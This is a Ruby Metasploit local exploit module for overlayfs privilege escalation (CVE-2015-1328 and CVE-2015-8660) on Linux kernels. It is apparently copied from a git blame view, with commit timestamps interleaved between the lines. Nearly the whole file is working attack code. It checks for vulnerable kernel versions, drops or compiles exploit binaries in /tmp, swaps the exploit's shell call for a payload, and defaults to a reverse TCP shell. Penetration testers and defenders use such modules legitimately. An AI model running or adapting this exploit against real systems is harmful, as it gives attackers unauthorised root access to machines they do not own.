2016-10-04 23:21:53 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-10-04 23:21:53 -04:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = GoodRanking
include Msf :: Post :: File
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Overlayfs Privilege Escalation' ,
'Description' = > %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'h00die <mike@shorebreaksecurity.com>' , # Module
'rebel' # Discovery
] ,
'DisclosureDate' = > 'Jun 16 2015' ,
'Platform' = > [ 'linux' ] ,
2016-11-18 07:34:46 -06:00
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2016-10-04 23:21:53 -04:00
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = >
[
[ 'CVE-2015-1328' , { } ] ,
[ 'CVE-2015-8660' , { } ]
] ,
'DefaultTarget' = > 1 ,
'DefaultOptions' = >
{
'payload' = > 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
} ,
'References' = >
[
[ 'EDB' , '39166' ] , # CVE-2015-8660
[ 'EDB' , '37292' ] , # CVE-2015-1328
[ 'CVE' , '2015-1328' ] ,
[ 'CVE' , '2015-8660' ]
]
) )
2018-10-10 14:12:29 +00:00
register_options [
OptEnum . new ( 'COMPILE' , [ true , 'Compile on target' , 'Auto' , [ 'Auto' , 'True' , 'False' ] ] )
]
register_advanced_options [
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files (must not be mounted noexec)' , '/tmp' ] )
]
2016-10-04 23:21:53 -04:00
end
def check
def mounts_exist? ( )
vprint_status ( 'Checking if mount points exist' )
if target . name == 'CVE-2015-1328'
if not directory? ( '/tmp/ns_sploit' )
vprint_good ( '/tmp/ns_sploit not created' )
return true
else
print_error ( '/tmp/ns_sploit directory exists. Please delete.' )
return false
end
elsif target . name == 'CVE-2015-8660'
if not directory? ( '/tmp/haxhax' )
vprint_good ( '/tmp/haxhax not created' )
return true
else
print_error ( '/tmp/haxhax directory exists. Please delete.' )
return false
end
end
end
def kernel_vuln? ( )
os_id = cmd_exec ( 'grep ^ID= /etc/os-release' )
case os_id
when 'ID=ubuntu'
kernel = Gem :: Version . new ( cmd_exec ( '/bin/uname -r' ) )
case kernel . release . to_s
when '3.13.0'
if kernel . between? ( Gem :: Version . new ( '3.13.0-24-generic' ) , Gem :: Version . new ( '3.13.0-54-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '3.16.0'
if kernel . between? ( Gem :: Version . new ( '3.16.0-25-generic' ) , Gem :: Version . new ( '3.16.0-40-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '3.19.0'
if kernel . between? ( Gem :: Version . new ( '3.19.0-18-generic' ) , Gem :: Version . new ( '3.19.0-20-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-1328 " )
return true
elsif kernel . between? ( Gem :: Version . new ( '3.19.0-18-generic' ) , Gem :: Version . new ( '3.19.0-42-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
when '4.2.0'
if kernel . between? ( Gem :: Version . new ( '4.2.0-18-generic' ) , Gem :: Version . new ( '4.2.0-22-generic' ) )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660 " )
return true
else
print_error ( " Kernel #{ kernel } is NOT vulnerable " )
return false
end
else
print_error ( " Non-vuln kernel #{ kernel } " )
return false
end
when 'ID=fedora'
kernel = Gem :: Version . new ( cmd_exec ( '/usr/bin/uname -r' ) . sub ( / \ .fc.* / , '' ) ) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel . release < Gem :: Version . new ( '4.2.8' )
vprint_good ( " Kernel #{ kernel } is vulnerable to CVE-2015-8660. Exploitation UNTESTED " )
return true
else
print_error ( " Non-vuln kernel #{ kernel } " )
return false
end
else
print_error ( " Unknown OS: #{ os_id } " )
return false
end
end
if mounts_exist? ( ) && kernel_vuln? ( )
return CheckCode :: Appears
else
return CheckCode :: Safe
end
end
def exploit
if check != CheckCode :: Appears
fail_with ( Failure :: NotVulnerable , 'Target not vulnerable! punt!' )
end
filename = rand_text_alphanumeric ( 8 )
executable_path = " #{ datastore [ 'WritableDir' ] } / #{ filename } "
payloadname = rand_text_alphanumeric ( 8 )
payload_path = " #{ datastore [ 'WritableDir' ] } / #{ payloadname } "
def has_prereqs? ( )
gcc = cmd_exec ( 'which gcc' )
if gcc . include? ( 'gcc' )
vprint_good ( 'gcc is installed' )
else
print_error ( 'gcc is not installed. Compiling will fail.' )
end
return gcc . include? ( 'gcc' )
end
compile = false
if datastore [ 'COMPILE' ] == 'Auto' || datastore [ 'COMPILE' ] == 'True'
if has_prereqs? ( )
compile = true
vprint_status ( 'Live compiling exploit on system' )
else
vprint_status ( 'Dropping pre-compiled exploit on system' )
end
end
if check != CheckCode :: Appears
fail_with ( Failure :: NotVulnerable , 'Target not vulnerable! punt!' )
end
2016-10-15 20:57:31 -04:00
def upload_and_chmod ( fname , fcontent , cleanup = true )
2016-10-04 23:21:53 -04:00
print_status " Writing to #{ fname } ( #{ fcontent . size } bytes) "
rm_f fname
write_file ( fname , fcontent )
cmd_exec ( " chmod +x #{ fname } " )
2016-10-15 20:57:31 -04:00
if cleanup
register_file_for_cleanup ( fname )
end
2016-10-04 23:21:53 -04:00
end
def on_new_session ( session )
super
if target . name == 'CVE-2015-1328'
session . shell_command ( " /bin/su " ) #this doesnt work on meterpreter?????
2016-10-15 20:57:31 -04:00
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session . shell_command ( 'rm -f /etc/ld.so.preload' )
session . shell_command ( 'rm -f /tmp/ofs-lib.so' )
end
end
if compile
begin
if target . name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-1328' , '1328.c' )
fd = :: File . open ( path , " rb " )
cve_2015_1328 = fd . read ( fd . stat . size )
fd . close
# pulled out from 1328.c's LIB define
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-1328' , 'ofs-lib.c' )
fd = :: File . open ( path , " rb " )
ofs_lib = fd . read ( fd . stat . size )
fd . close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = :: File . join ( Msf :: Config . install_root , 'external' , 'source' , 'exploits' , 'CVE-2015-8660' , '8660.c' )
fd = :: File . open ( path , " rb " )
cve_2015_8660 = fd . read ( fd . stat . size )
fd . close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
2016-10-04 23:21:53 -04:00
end
end
2016-10-15 20:57:31 -04:00
2016-10-04 23:21:53 -04:00
if compile
if target . name == 'CVE-2015-1328'
cve_2015_1328 . gsub! ( / execl \ (" \/ bin \/ su","su",NULL \ ); / ,
" execl( \" #{ payload_path } \" , \" #{ payloadname } \" ,NULL); " )
upload_and_chmod ( " #{ executable_path } .c " , cve_2015_1328 )
2016-10-15 20:57:31 -04:00
ofs_path = " #{ datastore [ 'WritableDir' ] } /ofs-lib "
upload_and_chmod ( " #{ ofs_path } .c " , ofs_lib )
cmd_exec ( " gcc -fPIC -shared -o #{ ofs_path } .so #{ ofs_path } .c -ldl -w " ) # compile dependency file
register_file_for_cleanup ( " #{ ofs_path } .c " )
2016-10-04 23:21:53 -04:00
else
cve_2015_8660 . gsub! ( / os.execl \ (' \/ bin \/ bash','bash' \ ) / ,
" os.execl(' #{ payload_path } ',' #{ payloadname } ') " )
upload_and_chmod ( " #{ executable_path } .c " , cve_2015_8660 )
end
vprint_status ( " Compiling #{ executable_path } .c " )
2016-10-15 20:57:31 -04:00
cmd_exec ( " gcc -o #{ executable_path } #{ executable_path } .c " ) # compile
2016-10-04 23:21:53 -04:00
register_file_for_cleanup ( executable_path )
else
if target . name == 'CVE-2015-1328'
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-1328' , '1328' )
fd = :: File . open ( path , " rb " )
cve_2015_1328 = fd . read ( fd . stat . size )
fd . close
upload_and_chmod ( executable_path , cve_2015_1328 )
2016-10-15 20:57:31 -04:00
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-1328' , 'ofs-lib.so' )
fd = :: File . open ( path , " rb " )
ofs_lib = fd . read ( fd . stat . size )
fd . close
ofs_path = " #{ datastore [ 'WritableDir' ] } /ofs-lib "
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod ( " #{ ofs_path } .so " , ofs_lib , false )
2016-10-04 23:21:53 -04:00
# overwrite with the hardcoded variable names in the compiled versions
2016-10-15 20:57:31 -04:00
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
2016-10-04 23:21:53 -04:00
else
path = :: File . join ( Msf :: Config . data_directory , 'exploits' , 'CVE-2015-8660' , '8660' )
fd = :: File . open ( path , " rb " )
cve_2015_8660 = fd . read ( fd . stat . size )
fd . close
upload_and_chmod ( executable_path , cve_2015_8660 )
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod ( payload_path , generate_payload_exe )
vprint_status ( 'Exploiting...' )
output = cmd_exec ( executable_path )
output . each_line { | line | vprint_status ( line . chomp ) }
end
end